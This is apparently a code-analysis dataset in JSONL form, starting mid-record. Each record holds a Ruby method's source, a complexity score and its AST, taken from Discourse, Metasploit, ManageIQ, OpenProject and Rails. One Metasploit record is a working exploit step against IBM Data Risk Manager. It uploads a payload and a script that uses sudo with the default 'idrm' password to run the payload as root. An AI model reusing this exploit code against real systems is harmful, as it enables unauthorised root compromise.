challenge.to_json\n      else\n        error_json =\n          second_factor_auth_result\n            .to_h\n            .deep_symbolize_keys\n            .slice(:ok, :error, :reason)\n            .merge(failed_json)\n        render json: error_json, status: :bad_request\n        return\n      end\n    end\n    render json: {\n             ok: true,\n             callback_method: challenge[:callback_method],\n             callback_path: challenge[:callback_path],\n             redirect_url: challenge[:redirect_url],\n           },\n           status: :ok\n  end","complexity_score":86.0,"ast_json":"{\"type\":\"def\",\"children\":[\"second_factor_auth_perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"nonce\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"nonce\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"challenge\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"error_key\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"status_code\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"challenge\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecondFactor\"]},\"AuthManager\"]},\"find_second_factor_challenge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"nonce\"]},{\"type\":\"lvar\",\"children\":[\"nonce\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"server_session\"]},{\"type\":\"send\",\"children\":[null,\"server_session\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"challenge\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"target_user_id\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecondFactor\"]},\"BadChallenge\"]}]},{\"type\":\"lvasgn\",\"children\":[\"exception\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error_key\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exception\"]},\"error_translation_key\"]}]},{\"type\":\"lvasgn\",\"children\":[\"status_code\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exception\"]},\"status_code\"]}]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error_key\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"json\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"failed_json\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ok\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"lvar\",\"children\":[\"error_key\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reason\"]},{\"type\":\"str\",\"children\":[\"challenge_not_found_or_expired\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"failed_json\"]},\"merge\",{\"type\":\"lvar\",\"children\":[\"json\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"lvar\",\"children\":[\"status_code\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"second_factor_method\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"second_factor_method\"]}]},\"to_i\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"valid_second_factor_method_for_user?\",{\"type\":\"lvar\",\"children\":[\"second_factor_method\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"InvalidAccess\"]},\"new\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"challenge\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"allowed_methods\"]}]},\"include?\",{\"type\":\"lvar\",\"children\":[\"second_factor_method\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"InvalidAccess\"]},\"new\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"challenge\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"successful\"]}]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rate_limit_second_factor!\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"lvasgn\",\"children\":[\"second_factor_auth_result\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"authenticate_second_factor\",{\"type\":\"send\",\"children\":[null,\"params\"]},{\"type\":\"send\",\"children\":[null,\"server_session\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"second_factor_auth_result\"]},\"ok\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"challenge\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"successful\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"challenge\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"generated_at\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"minute\"]},\"to_i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"server_session\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"current_second_factor_auth_challenge\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"challenge\"]},\"to_json\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error_json\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"second_factor_auth_result\"]},\"to_h\"]},\"deep_symbolize_keys\"]},\"slice\",{\"type\":\"sym\",\"children\":[\"ok\"]},{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"sym\",\"children\":[\"reason\"]}]},\"merge\",{\"type\":\"send\",\"children\":[null,\"failed_json\"]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"lvar\",\"children\":[\"error_json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"bad_request\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ok\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"callback_method\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"challenge\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"callback_method\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"callback_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"challenge\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"callback_path\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"redirect_url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"challenge\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"redirect_url\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"ok\"]}]}]}]}]}]}","id":"e636d850-b756-479d-afa0-001667749686"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/ibm_drm_rce.rb","start_line":205,"raw_source":"def upload_payload_and_script(cookie, csrf, patches_path)\n    # step 5: upload our payload\n    payload_file = \"#{rand_text_alpha(5..12)}.enc\"\n    post_data = Rex::MIME::Message.new\n    post_data.add_part(generate_payload_exe, 'application/octet-stream', 'binary', \"form-data; name=\\\"patchFiles\\\"; filename=\\\"#{payload_file}\\\"\")\n\n    res = send_request_cgi({\n      'uri' => normalize_uri(target_uri.path, 'albatross', 'upload', 'patch'),\n      'method' => 'POST',\n      'cookie' => cookie,\n      'headers' => { 'CSRF-TOKEN' => csrf },\n      'data' => post_data.to_s,\n      'ctype' => \"multipart/form-data; boundary=#{post_data.bound}\"\n    })\n\n    unless res && (res.code == 200)\n      fail_with(Failure::Unknown, \"#{peer} - Failed to upload payload.\")\n    end\n\n    print_good(\"#{peer} - We have uploaded our payload... \")\n\n    # step 6: upload our script file\n    # nmap will run as a3user (the server user), which has a default password of \"idrm\".\n    # a3user has sudo access, so that means we run as root!\n    # However let's do some basic error checking: if somehow the a3user password was changed and we cannot sudo\n    # to execute as root, we ensure our payload still executes as a3user.\n    #\n    # Note: for version 2.0.1, the above is not necessary as nmap runs as root. However, leave it anyway for simplicity.\n    script_file = \"#{rand_text_alpha(5..12)}.enc\"\n    @script_filepath = patches_path + script_file\n    @payload_filepath = patches_path + payload_file\n    rand_file = rand_text_alpha(5..12)\n    cmd = \"chmod +x #{@payload_filepath}; echo idrm | sudo -S whoami > /tmp/#{rand_file};\"\n    cmd << \" root=`cat /tmp/#{rand_file}`;\"\n    cmd << \" if [ $root == 'root' ]; then sudo #{@payload_filepath};\"\n    cmd << \" else #{@payload_filepath}; fi; rm /tmp/#{rand_file}\"\n    script_file_contents = \"os.execute(\\\"#{cmd}\\\")\"\n\n    post_data = Rex::MIME::Message.new\n    post_data.add_part(script_file_contents, 'application/octet-stream', 'binary', \"form-data; name=\\\"patchFiles\\\"; filename=\\\"#{script_file}\\\"\")\n\n    res = send_request_cgi({\n      'uri' => normalize_uri(target_uri.path, 'albatross', 'upload', 'patch'),\n      'method' => 'POST',\n      'cookie' => cookie,\n      'headers' => { 'CSRF-TOKEN' => csrf },\n      'data' => post_data.to_s,\n      'ctype' => \"multipart/form-data; boundary=#{post_data.bound}\"\n    })\n\n    unless res && (res.code == 200)\n      fail_with(Failure::Unknown, \"#{peer} - Failed to upload nmap script file.\")\n    end\n\n    print_good(\"#{peer} - and our nmap script file!\")\n  end","complexity_score":58.05,"ast_json":"{\"type\":\"def\",\"children\":[\"upload_payload_and_script\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cookie\"]},{\"type\":\"arg\",\"children\":[\"csrf\"]},{\"type\":\"arg\",\"children\":[\"patches_path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"payload_file\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[5]},{\"type\":\"int\",\"children\":[12]}]}]}]},{\"type\":\"str\",\"children\":[\".enc\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"post_data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"MIME\"]},\"Message\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"add_part\",{\"type\":\"send\",\"children\":[null,\"generate_payload_exe\"]},{\"type\":\"str\",\"children\":[\"application/octet-stream\"]},{\"type\":\"str\",\"children\":[\"binary\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"form-data; name=\\\"patchFiles\\\"; filename=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_file\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"albatross\"]},{\"type\":\"str\",\"children\":[\"upload\"]},{\"type\":\"str\",\"children\":[\"patch\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"lvar\",\"children\":[\"cookie\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"CSRF-TOKEN\"]},{\"type\":\"lvar\",\"children\":[\"csrf\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"multipart/form-data; boundary=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"bound\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Failed to upload payload.\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - We have uploaded our payload... \"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"script_file\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[5]},{\"type\":\"int\",\"children\":[12]}]}]}]},{\"type\":\"str\",\"children\":[\".enc\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@script_filepath\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"patches_path\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"script_file\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@payload_filepath\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"patches_path\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"payload_file\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"rand_file\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[5]},{\"type\":\"int\",\"children\":[12]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cmd\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"chmod +x \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@payload_filepath\"]}]},{\"type\":\"str\",\"children\":[\"; echo idrm | sudo -S whoami > /tmp/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand_file\"]}]},{\"type\":\"str\",\"children\":[\";\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" root=`cat /tmp/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand_file\"]}]},{\"type\":\"str\",\"children\":[\"`;\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" if [ $root == 'root' ]; then sudo \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@payload_filepath\"]}]},{\"type\":\"str\",\"children\":[\";\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" else \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@payload_filepath\"]}]},{\"type\":\"str\",\"children\":[\"; fi; rm /tmp/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand_file\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"script_file_contents\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"os.execute(\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]}]},{\"type\":\"str\",\"children\":[\"\\\")\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"post_data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"MIME\"]},\"Message\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"add_part\",{\"type\":\"lvar\",\"children\":[\"script_file_contents\"]},{\"type\":\"str\",\"children\":[\"application/octet-stream\"]},{\"type\":\"str\",\"children\":[\"binary\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"form-data; name=\\\"patchFiles\\\"; filename=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"script_file\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"albatross\"]},{\"type\":\"str\",\"children\":[\"upload\"]},{\"type\":\"str\",\"children\":[\"patch\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"lvar\",\"children\":[\"cookie\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"CSRF-TOKEN\"]},{\"type\":\"lvar\",\"children\":[\"csrf\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"multipart/form-data; boundary=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"bound\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Failed to upload nmap script file.\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - and our nmap script file!\"]}]}]}]}]}","id":"0c4786f0-2aac-4f90-8d41-3852e58ced6c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/rpc/v10/rpc_session.rb","start_line":356,"raw_source":"def rpc_meterpreter_session_detach(sid)\n    s = _valid_session(sid,\"meterpreter\")\n    s.channels.each_value do |ch|\n      if(ch.respond_to?('interacting') && ch.interacting)\n        ch.detach()\n        return { \"result\" => \"success\" }\n      end\n    end\n    { \"result\" => \"failure\" }\n  end","complexity_score":11.1,"ast_json":"{\"type\":\"def\",\"children\":[\"rpc_meterpreter_session_detach\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sid\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"s\",{\"type\":\"send\",\"children\":[null,\"_valid_session\",{\"type\":\"lvar\",\"children\":[\"sid\"]},{\"type\":\"str\",\"children\":[\"meterpreter\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"channels\"]},\"each_value\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ch\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ch\"]},\"respond_to?\",{\"type\":\"str\",\"children\":[\"interacting\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ch\"]},\"interacting\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ch\"]},\"detach\"]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"result\"]},{\"type\":\"str\",\"children\":[\"success\"]}]}]}]}]},null]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"result\"]},{\"type\":\"str\",\"children\":[\"failure\"]}]}]}]}]}","id":"2615b6e0-a9e9-4fd2-9f6a-972ddae87783"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/scan_item/seeding.rb","start_line":12,"raw_source":"def seed\n      transaction do\n        seed_all_scan_items\n        seed_scan_item_sets\n      end\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"seed\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"seed_all_scan_items\"]},{\"type\":\"send\",\"children\":[null,\"seed_scan_item_sets\"]}]}]}]}","id":"a7edf0b9-1d35-4594-8743-64be8a776034"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/query/results/group_by.rb","start_line":101,"raw_source":"def transform_hierarchy_custom_field_keys(custom_field, groups)\n    items = hierarchy_items_for_keys(custom_field, groups)\n\n    groups.transform_keys do |key|\n      if custom_field.multi_value?\n        Array(key&.split(\".\")).map { |subkey| items[subkey].first }\n      else\n        items[key] || []\n      end\n    end\n  end","complexity_score":16.9,"ast_json":"{\"type\":\"def\",\"children\":[\"transform_hierarchy_custom_field_keys\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"custom_field\"]},{\"type\":\"arg\",\"children\":[\"groups\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"items\",{\"type\":\"send\",\"children\":[null,\"hierarchy_items_for_keys\",{\"type\":\"lvar\",\"children\":[\"custom_field\"]},{\"type\":\"lvar\",\"children\":[\"groups\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"groups\"]},\"transform_keys\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom_field\"]},\"multi_value?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"split\",{\"type\":\"str\",\"children\":[\".\"]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"subkey\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"subkey\"]}]},\"first\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}","id":"c41bce1e-7aac-4039-b35d-daed422cb0e2"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/postgresql/oid/point.rb","start_line":63,"raw_source":"def build_point(x, y)\n              ActiveRecord::Point.new(Float(x), Float(y))\n            end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"build_point\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]},{\"type\":\"arg\",\"children\":[\"y\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Point\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"Float\",{\"type\":\"lvar\",\"children\":[\"x\"]}]},{\"type\":\"send\",\"children\":[null,\"Float\",{\"type\":\"lvar\",\"children\":[\"y\"]}]}]}]}","id":"0a477d59-d068-40e7-95bf-9b91ac6e4644"}
